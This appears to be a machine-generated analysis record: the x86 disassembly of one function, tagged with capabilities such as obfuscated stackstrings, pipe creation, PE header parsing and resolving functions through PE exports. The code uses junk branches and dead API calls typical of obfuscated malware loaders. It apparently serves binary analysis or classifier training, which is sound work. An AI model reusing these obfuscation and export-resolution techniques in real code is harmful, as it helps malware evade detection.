Function at 0x1004319b
Capabilities:
Contain obfuscated stackstrings
Create pipe
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007ad3c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xac8
push esi
and dword [ebp - 0x18], 0
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10047c72
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x188], 0x42c70bb7
mov dword [ebp - 0x12c], 0
jmp 0x100431f3
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jge 0x1004320f
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x880], 0xfffffffa
jmp 0x100431e6
mov byte [ebp - 0x7b], 0
movzx eax, byte [ebp - 0x7b]
test eax, eax
je 0x1004322a
push 0
push 0xed9
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x188], 2
jmp 0x10043243
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jl 0x10043296
mov dword [ebp - 0xd4], 0xfffffff9
mov dword [ebp - 0xd4], 2
jmp 0x1004326f
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jl 0x10043294
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd4]
mov eax, dword [ebp + eax - 0x880]
mov dword [ebp + ecx*4 - 0x880], eax
jmp 0x10043262
jmp 0x10043236
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x638], 0x2a17d0b0
mov dword [ebp - 0x80c], 0xfffffffd
mov dword [ebp - 0x134], 0
jmp 0x100432cc
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 3
jge 0x100432e8
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x714], 0
jmp 0x100432bf
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x714], 0
jmp 0x10043313
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x714]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x714], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x714], 0xffffffee
jg 0x10043338
mov byte [ebp - 0x82], 0
lea eax, [ebp - 0x82]
push eax
call fcn.1004188e
pop ecx
jmp 0x100432fa
push 1
push 0x84f
lea eax, [ebp - 0x638]
push eax
call fcn.100418b0
add esp, 0xc
mov eax, dword [ebp - 0x3e8]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10043363
jmp 0x10047c90
push 2
lea ecx, [ebp - 0x890]
call fcn.100159d0
and dword [ebp - 4], 0
mov dword [ebp - 0x190], 0x18d4081c
mov dword [ebp - 0x874], 0x51c76d7b
push 0
push 0x6818
push 0x6732
lea eax, [ebp - 0x8c4]
push eax
lea eax, [ebp - 0x890]
push eax
call fcn.10041f9c
add esp, 0x14
mov dword [ebp - 0x190], 1
jmp 0x100433c3
mov eax, dword [ebp - 0x190]
dec eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
jl 0x100433f3
mov dword [ebp - 0x608], 0xffff
lea eax, [ebp - 0x608]
push eax
push 0x6972
push 1
push 0x3fe3
call fcn.100418ed
add esp, 0x10
jmp 0x100433b6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x890]
call fcn.10015a52
mov eax, dword [ebp - 0x3e8]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x544], 0x213a
mov dword [ebp - 0x44], 0x94d2b5f7
mov dword [ebp - 0x58], 0
jmp 0x1004343c
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jne 0x1004375b
mov dword [ebp - 0x2cc], 0x3707822e
mov dword [ebp - 0x13c], 0xfffffffa
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x2cc], 8
jbe 0x1004347b
mov dword [ebp - 0x610], 1
jmp 0x10043482
and dword [ebp - 0x610], 0
cmp dword [ebp - 0x58], 0
jne 0x10043491
mov eax, 0x391cb4e7
test eax, eax
je 0x10043497
cmp dword [ebp - 0x58], 0
jne 0x100434a9
mov eax, 0x864ba8b3
test eax, eax
jne 0x100434a9
and dword [ebp - 0x508], 0
jmp 0x100434b3
mov dword [ebp - 0x508], 1
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x100434d7
cmp dword [ebp - 0x58], 0
jne 0x100434d7
and dword [ebp - 0x510], 0
jmp 0x100434e1
mov dword [ebp - 0x510], 1
mov eax, dword [ebp - 0x544]
cmp dword [ebp - 0x510], eax
jge 0x100434fb
mov dword [ebp - 0x534], 1
jmp 0x10043502
and dword [ebp - 0x534], 0
cmp dword [ebp - 0x534], 0x2b57
jge 0x1004351a
mov dword [ebp - 0x53c], 1
jmp 0x10043521
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x13c], 0
je 0x10043551
mov byte [ebp - 0x77], 0
movzx eax, byte [ebp - 0x77]
test eax, eax
je 0x1004354c
push 0x1de8
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
jmp 0x10043756
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0x664], 0x5fc1c575
push 2
lea ecx, [ebp - 0x55c]
call fcn.100159d0
mov dword [ebp - 4], 1
mov dword [ebp - 0xd8], 0xffffffff
mov dword [ebp - 0x66c], 0x7a32
mov dword [ebp - 0x60], 0
jmp 0x1004359d
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x100435b6
push dword [ebp - 0x60]
lea ecx, [ebp - 0x55c]
call fcn.10015a6e
or dword [eax], 0xffffffff
jmp 0x10043596
mov dword [ebp - 0x60], 0
jmp 0x100435c6
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x100435dc
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x9ac], 0xffffffff
jmp 0x100435bf
push 0x70f6
lea eax, [ebp - 0x65c]
push eax
push 0x7bdb
lea eax, [ebp - 0xd8]
push eax
push 0x7270
lea eax, [ebp - 0x544]
push eax
lea eax, [ebp - 0x664]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0x11c0
lea eax, [ebp - 0x55c]
push eax
lea eax, [ebp - 0x13c]
push eax
call fcn.10041963
add esp, 0x34
mov dword [ebp - 0xd8], 9
jmp 0x10043645
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xffffffe7
jle 0x10043747
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x44], 0
jmp 0x1004366b
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jg 0x10043742
mov dword [ebp - 0x8cc], 0x4a04c7c9
push dword [ebp - 0x44]
lea ecx, [ebp - 0x55c]
call fcn.10015a6e
mov esi, eax
push dword [ebp - 0x44]
lea ecx, [ebp - 0x55c]
call fcn.10015a6e
mov ecx, dword [esi]
imul ecx, dword [eax]
cmp ecx, 0xffff
ja 0x100436b6
mov dword [ebp - 0x54c], 1
jmp 0x100436bd
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x58], 1
jge 0x100436cf
mov dword [ebp - 0x674], 1
jmp 0x100436d6
and dword [ebp - 0x674], 0
push dword [ebp - 0x44]
lea ecx, [ebp - 0x55c]
call fcn.10015a6e
mov ecx, dword [ebp - 0x54c]
mov dword [eax], ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0x55c]
call fcn.10015a6e
mov ecx, dword [ebp - 0x2cc]
cmp dword [eax], ecx
je 0x10043710
mov dword [ebp - 0x594], 1
jmp 0x10043717
and dword [ebp - 0x594], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x594]
mov dword [ebp + eax - 0x9ac], ecx
push 0
lea ecx, [ebp - 0x55c]
call fcn.10015a6e
mov dword [eax], 1
jmp 0x10043664
jmp 0x10043638
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x55c]
call fcn.10015a52
jmp 0x10043435
mov eax, dword [ebp - 0xc4]
cmp dword [eax], 0x4550
je 0x1004376e
jmp 0x10047c90
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc4]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax + 4], 0
jne 0x1004378f
jmp 0x10047c90
mov dword [ebp - 0x8b0], 0xe0cf5720
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x100437b3
push 0
call fcn.1004253c
pop ecx
mov byte [ebp - 0x79], 0
lea eax, [ebp - 0x79]
push eax
push 0x465b
push 0x520a
push 0
call fcn.10042167
add esp, 0x10
and dword [ebp - 0x30], 0
mov eax, dword [ebp - 0xc4]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xc4]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x354], eax
lea eax, [ebp - 0x30]
push eax
push 0x37c3
lea eax, [ebp - 0xc4]
push eax
push 0x635a
lea eax, [ebp - 0x54]
push eax
push 0x3b6d
push 0x3c6b
push 0x46bc
push 0x71ed
push 1
lea eax, [ebp - 0x354]
push eax
push 0x7a6d
push 0x6a4
call fcn.10041963
add esp, 0x34
mov dword [ebp - 0x40], 0
mov dword [ebp - 0xf4], 0x452a26f
mov dword [ebp - 0xe4], 0x586fd5d7
mov dword [ebp - 0x684], 0xee6dabac
mov dword [ebp - 0x580], 7
mov dword [ebp - 0x694], 0x69ed994a
mov dword [ebp - 0x320], 8
mov dword [ebp - 0x68c], 0xffffffff
mov dword [ebp - 0x504], 1
mov dword [ebp - 0x69c], 0x1cd3c6e8
mov dword [ebp - 0x38], 0
jmp 0x100438a6
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x100438bc
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x5c4], 4
jmp 0x1004389f
mov dword [ebp - 0x38], 0
jmp 0x100438cc
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x100438e2
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x740], 1
jmp 0x100438c5
mov dword [ebp - 0x38], 0
jmp 0x100438f2
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x10043908
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x9b8], 0xc531
jmp 0x100438eb
mov dword [ebp - 0x40], 2
jmp 0x10043918
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x100439b6
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x5c4], 0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x5c4]
mov dword [ebp - 0x940], eax
mov dword [ebp - 0xf4], 0xb72b21a3
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x5c4]
mov dword [ebp - 0x8b8], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x99c], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x5c4]
mov dword [ebp - 0x8c0], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x5c4]
mov dword [ebp - 0x950], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x5c4], ecx
jne 0x1004399e
mov dword [ebp - 0x548], 1
jmp 0x100439a5
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0xe4], eax
jmp 0x10043911
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5c4]
mov dword [ebp - 0x8c8], eax
mov eax, dword [ebp - 0x320]
dec eax
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x580]
cmp dword [ebp - 0x320], eax
jle 0x100439f0
mov dword [ebp - 0x67c], 1
jmp 0x100439f7
and dword [ebp - 0x67c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x740]
mov dword [ebp - 0x954], eax
cmp dword [ebp - 0x684], 0
jne 0x10043a25
cmp dword [ebp - 0xf4], 0
jne 0x10043a25
and dword [ebp - 0x4fc], 0
jmp 0x10043a2f
mov dword [ebp - 0x4fc], 1
mov eax, dword [ebp - 0x68c]
cmp eax, dword [ebp - 0x4fc]
jle 0x10043a49
mov dword [ebp - 0x500], 1
jmp 0x10043a50
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x500], eax
jle 0x10043a6a
mov dword [ebp - 0x35c], 1
jmp 0x10043a71
and dword [ebp - 0x35c], 0
cmp dword [ebp - 0x35c], 0xfd6f6066
jne 0x10043a89
mov dword [ebp - 0x474], 1
jmp 0x10043a90
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0xe4]
imul eax, dword [ebp - 0x474]
imul eax, dword [ebp - 0x694]
mov dword [ebp - 0x364], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0x740], ecx
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x7f0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x580]
cmp dword [ebp + eax - 0x9b8], ecx
jge 0x10043b02
mov dword [ebp - 0x36c], 1
jmp 0x10043b09
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x36c]
jg 0x10043b23
mov dword [ebp - 0x47c], 1
jmp 0x10043b2a
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x69c]
cmp dword [ebp - 0x47c], eax
jl 0x10043b44
mov dword [ebp - 0x374], 1
jmp 0x10043b4b
and dword [ebp - 0x374], 0
cmp dword [ebp - 0x374], 0xb2921979
jae 0x10043b63
mov dword [ebp - 0x37c], 1
jmp 0x10043b6a
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x504]
add eax, dword [ebp - 0x37c]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0x30], 0
jne 0x10043b87
jmp 0x10047c90
mov dword [ebp - 0x38c], 0
mov dword [ebp - 0xa8], 0xffff
mov dword [ebp - 0x48c], 0x6c0e263
mov dword [ebp - 0x6e8], 0
push 1
lea ecx, [ebp - 0x7b4]
call fcn.100159d0
mov dword [ebp - 4], 2
mov dword [ebp - 0x19c], 0
jmp 0x10043bdc
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x10043bfe
push dword [ebp - 0x19c]
lea ecx, [ebp - 0x7b4]
call fcn.10015a6e
mov dword [eax], 0x971cf71
jmp 0x10043bcf
push 5
pop eax
test eax, eax
je 0x10043c1a
cmp dword [ebp - 0xa8], 0
je 0x10043c1a
mov dword [ebp - 0x6a4], 1
jmp 0x10043c21
and dword [ebp - 0x6a4], 0
imul eax, dword [ebp - 0xa8], 0xfff7
cmp eax, dword [ebp - 0xa8]
jle 0x10043c3f
mov dword [ebp - 0x484], 1
jmp 0x10043c46
and dword [ebp - 0x484], 0
cmp dword [ebp - 0x484], 0
jae 0x10043c5b
mov dword [ebp - 0x6ac], 1
jmp 0x10043c62
and dword [ebp - 0x6ac], 0
mov eax, 0x4b5c6f8b
test eax, eax
jne 0x10043c7d
cmp dword [ebp - 0xa8], 0
jne 0x10043c7d
and dword [ebp - 0x384], 0
jmp 0x10043c87
mov dword [ebp - 0x384], 1
mov eax, dword [ebp - 0x38c]
cmp eax, dword [ebp - 0x384]
jne 0x10043ca1
mov dword [ebp - 0x518], 1
jmp 0x10043ca8
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0xa8], 0xffff
jbe 0x10043cc9
xor eax, eax
inc eax
je 0x10043d7b
push 1
lea ecx, [ebp - 0x8a4]
call fcn.100159d0
mov byte [ebp - 4], 3
mov dword [ebp - 0x7f8], 0
mov dword [ebp - 0x6b4], 0
mov dword [ebp - 0x144], 0
jmp 0x10043d07
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 1
jge 0x10043d29
push dword [ebp - 0x144]
lea ecx, [ebp - 0x8a4]
call fcn.10015a6e
mov dword [eax], 0x3ecf
jmp 0x10043cfa
lea eax, [ebp - 0x6b4]
push eax
push 0
push 0x223e
push 0x7cd5
call fcn.10041ca4
add esp, 0x10
mov byte [ebp - 0x9c], 0
movzx eax, byte [ebp - 0x9c]
test eax, eax
je 0x10043d6a
push 0x1959
push 0x5050
push 1
call fcn.10041b8c
add esp, 0xc
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x8a4]
call fcn.10015a52
jmp 0x10043dc1
mov dword [ebp - 0x6bc], 0x4821
mov dword [ebp - 0x628], 0xa426232c
lea eax, [ebp - 0x6bc]
push eax
lea eax, [ebp - 0x48c]
push eax
lea eax, [ebp - 0xa8]
push eax
push 0
lea eax, [ebp - 0x6e8]
push eax
push 0x6b46
lea eax, [ebp - 0x628]
push eax
call fcn.10042eb7
add esp, 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 0x62f0
lea eax, [ebp - 0x48c]
push eax
push 0x527f
push 1
call fcn.10041bfa
add esp, 0x14
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7b4]
call fcn.10015a52
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
add ecx, dword [eax]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x14], ecx
push 2
lea ecx, [ebp - 0x8ec]
call fcn.100159d0
mov dword [ebp - 4], 4
mov dword [ebp - 0x1a4], 0x39beb064
mov dword [ebp - 0x600], 0xd9e2a8d3
mov dword [ebp - 0x800], 5
mov dword [ebp - 0x808], 0xfffffff9
push 4
lea ecx, [ebp - 0x8dc]
call fcn.100159d0
mov byte [ebp - 4], 5
push 0x72c1
push 1
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x8ec]
push eax
call fcn.10041ca4
add esp, 0x10
mov dword [ebp - 0x50], 0
jmp 0x10043e77
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x10043e90
push dword [ebp - 0x50]
lea ecx, [ebp - 0x8dc]
call fcn.10015a6e
or dword [eax], 0xffffffff
jmp 0x10043e70
mov dword [ebp - 0x50], 0
jmp 0x10043ea0
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x10043eb6
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xa98], 0xfffffffe
jmp 0x10043e99
mov dword [ebp - 0x1a4], 0
jmp 0x10043ecf
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 1
jg 0x10043f4e
mov dword [ebp - 0x5dc], 0x4cdb8faa
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x818], 0xa90611bc
mov dword [ebp - 0x820], 0x355fff83
mov dword [ebp - 0x828], 0x9a130dfd
mov dword [ebp - 0x830], 0xffffffff
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x10043f2e
push 0
call fcn.10042e8c
pop ecx
push 0x3ef
push 0x55d0
push 1
lea eax, [ebp - 0x5dc]
push eax
call fcn.10041d1a
add esp, 0x10
jmp 0x10043ec2
mov dword [ebp - 0x600], 1
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x8dc]
call fcn.10015a52
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8ec]
call fcn.10015a52
xor ecx, ecx
call fcn.1002d3ed
push eax
call fcn.10060958
pop ecx
mov dword [ebp - 0x838], 0xe0cf5720
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x10043fb1
push 0x9e8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov byte [ebp - 0x7f], 0
movzx eax, byte [ebp - 0x7f]
test eax, eax
je 0x10043fcb
push 0x1858
push 1
call fcn.10041e47
pop ecx
pop ecx
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x2d4], 0xf4727cad
mov dword [ebp - 0x30c], 0x1023dcdf
mov dword [ebp - 0x5e4], 0xfffffff8
cmp dword [ebp - 0xb4], 0xd767
je 0x1004400b
mov dword [ebp - 0x688], 1
jmp 0x10044012
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x840], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x2d4], 2
je 0x1004404b
mov dword [ebp - 0x394], 1
jmp 0x10044052
and dword [ebp - 0x394], 0
cmp dword [ebp - 0x394], 0xfffffff9
jbe 0x10044067
mov dword [ebp - 0x50c], 1
jmp 0x1004406e
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x30c]
cmp dword [ebp - 0xb4], eax
jg 0x100440a0
mov dword [ebp - 0x39c], 1
jmp 0x100440a7
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x39c], eax
jl 0x100440c1
mov dword [ebp - 0x494], 1
jmp 0x100440c8
and dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 0
je 0x100440da
cmp dword [ebp - 0x5e4], 0
je 0x100440f9
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x100440f4
push 0x107
push 1
call fcn.10041e8a
pop ecx
pop ecx
jmp 0x10044289
mov dword [ebp - 0x858], 0x9f5954e3
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0xbc], 0xb2fc257a
push 3
lea ecx, [ebp - 0x720]
call fcn.100159d0
mov dword [ebp - 4], 6
mov dword [ebp - 0x754], 0xcae7
mov dword [ebp - 0x750], 0xcae7
mov dword [ebp - 0x74c], 0xcae7
mov dword [ebp - 0x748], 0xcae7
lea ecx, [ebp - 0x319]
call fcn.10015a7d
push eax
lea eax, [ebp - 0x744]
push eax
lea eax, [ebp - 0x754]
push eax
lea ecx, [ebp - 0xa10]
call fcn.10015a80
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x8fc]
call fcn.10015a2c
mov byte [ebp - 4], 7
mov dword [ebp - 0x14c], 0
jmp 0x100441a5
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 3
jge 0x100441c7
push dword [ebp - 0x14c]
lea ecx, [ebp - 0x720]
call fcn.10015a6e
mov dword [eax], 1
jmp 0x10044198
lea eax, [ebp - 0x8fc]
push eax
push 0
call fcn.100424fc
pop ecx
pop ecx
mov dword [ebp - 0xbc], 0
jmp 0x100441f0
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jg 0x1004426b
mov dword [ebp - 0x1ac], 2
jmp 0x10044212
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jl 0x10044266
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x720]
call fcn.10015a6e
push 0xfffffffffffffff6
pop esi
sub esi, dword [eax]
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x720]
call fcn.10015a6e
mov dword [eax], esi
push 0xd1d
push 0
push 0x7c1c
lea eax, [ebp - 0xb4]
push eax
push 0x5c4a
call fcn.1004258b
add esp, 0x14
jmp 0x10044205
jmp 0x100441e3
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x8fc]
call fcn.10015a52
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x720]
call fcn.10015a52
mov byte [ebp - 0x2c8], 5
mov byte [ebp - 0x2c7], 0x13
mov byte [ebp - 0x2c6], 4
mov byte [ebp - 0x2c5], 9
mov byte [ebp - 0x2c4], 1
mov byte [ebp - 0x2c3], 0xd
mov byte [ebp - 0x2c2], 7
mov byte [ebp - 0x2c1], 3
mov byte [ebp - 0x2c0], 6
mov byte [ebp - 0x2bf], 7
mov byte [ebp - 0x2be], 8
mov byte [ebp - 0x2bd], 1
mov byte [ebp - 0x2bc], 0x5f
mov byte [ebp - 0x2bb], 0xda
mov byte [ebp - 0x2ba], 0x62
mov byte [ebp - 0x2b9], 0x1f
mov byte [ebp - 0x2b8], 0xea
mov byte [ebp - 0x2b7], 0x4a
mov byte [ebp - 0x2b6], 0x5a
mov byte [ebp - 0x2b5], 0xa
mov byte [ebp - 0x2b4], 0x5e
mov byte [ebp - 0x2b3], 0x72
mov byte [ebp - 0x2b2], 0x90
mov byte [ebp - 0x2b1], 0x39
mov byte [ebp - 0x2b0], 0xaa
mov byte [ebp - 0x2af], 0x7a
mov byte [ebp - 0x2ae], 0xb4
mov byte [ebp - 0x2ad], 0xfe
mov byte [ebp - 0x2ac], 0xe
mov byte [ebp - 0x2ab], 0x4c
mov byte [ebp - 0x2aa], 0xe5
mov byte [ebp - 0x2a9], 0xa7
mov byte [ebp - 0x2a8], 0x5f
mov byte [ebp - 0x2a7], 5
mov byte [ebp - 0x2a6], 0xad
mov byte [ebp - 0x2a5], 0x2a
mov byte [ebp - 0x2a4], 0x38
mov byte [ebp - 0x2a3], 0xfc
mov byte [ebp - 0x2a2], 0x3f
mov byte [ebp - 0x2a1], 0x78
mov byte [ebp - 0x2a0], 0x72
mov byte [ebp - 0x29f], 0xf1
mov byte [ebp - 0x29e], 0x4c
mov byte [ebp - 0x29d], 4
mov byte [ebp - 0x29c], 0xca
mov byte [ebp - 0x29b], 0xa2
mov byte [ebp - 0x29a], 0xf6
mov byte [ebp - 0x299], 0x8f
mov byte [ebp - 0x298], 0xd8
mov byte [ebp - 0x297], 0x7e
mov byte [ebp - 0x296], 0x92
mov byte [ebp - 0x295], 0x60
mov byte [ebp - 0x294], 0x34
mov byte [ebp - 0x293], 0xb7
mov byte [ebp - 0x292], 0xd5
mov byte [ebp - 0x291], 0xd8
mov byte [ebp - 0x290], 0x84
mov byte [ebp - 0x28f], 0x3b
mov byte [ebp - 0x28e], 0x98
mov byte [ebp - 0x28d], 0xa7
mov byte [ebp - 0x28c], 0xb6
mov byte [ebp - 0x28b], 0x84
mov byte [ebp - 0x28a], 0xd2
mov byte [ebp - 0x289], 0x82
mov byte [ebp - 0x288], 0x2c
mov byte [ebp - 0x287], 0x3e
mov byte [ebp - 0x286], 0x70
mov byte [ebp - 0x285], 0x1b
mov byte [ebp - 0x284], 0x19
mov byte [ebp - 0x283], 0x97
mov byte [ebp - 0x282], 0xa4
mov byte [ebp - 0x281], 0xcd
mov byte [ebp - 0x280], 0xdd
mov byte [ebp - 0x27f], 0xe5
mov byte [ebp - 0x27e], 0xe4
mov byte [ebp - 0x27d], 0x2d
mov byte [ebp - 0x27c], 0xa0
mov byte [ebp - 0x27b], 0xcd
mov byte [ebp - 0x27a], 0x22
mov byte [ebp - 0x279], 0x6e
mov byte [ebp - 0x278], 0x62
mov byte [ebp - 0x277], 0x2c
mov byte [ebp - 0x276], 0x7a
mov byte [ebp - 0x275], 0x63
mov byte [ebp - 0x274], 0xe0
mov byte [ebp - 0x273], 0xee
mov byte [ebp - 0x272], 0xee
mov byte [ebp - 0x271], 0x75
mov byte [ebp - 0x270], 0xf5
mov byte [ebp - 0x26f], 0xc
mov byte [ebp - 0x26e], 0x50
mov byte [ebp - 0x26d], 0xd4
mov byte [ebp - 0x26c], 0x55
mov byte [ebp - 0x26b], 0xd8
mov byte [ebp - 0x26a], 3
mov byte [ebp - 0x269], 0xd5
mov byte [ebp - 0x268], 0xc6
mov byte [ebp - 0x267], 0x6b
mov byte [ebp - 0x266], 0xc1
mov byte [ebp - 0x265], 0x29
mov byte [ebp - 0x264], 0x4e
mov byte [ebp - 0x263], 0xb7
mov byte [ebp - 0x262], 0x76
mov byte [ebp - 0x261], 0xea
mov byte [ebp - 0x260], 0x50
mov byte [ebp - 0x25f], 0x27
mov byte [ebp - 0x25e], 0x62
mov byte [ebp - 0x25d], 0xb2
mov byte [ebp - 0x25c], 0
mov byte [ebp - 0x25b], 1
mov byte [ebp - 0x25a], 2
mov byte [ebp - 0x259], 6
mov byte [ebp - 0x258], 9
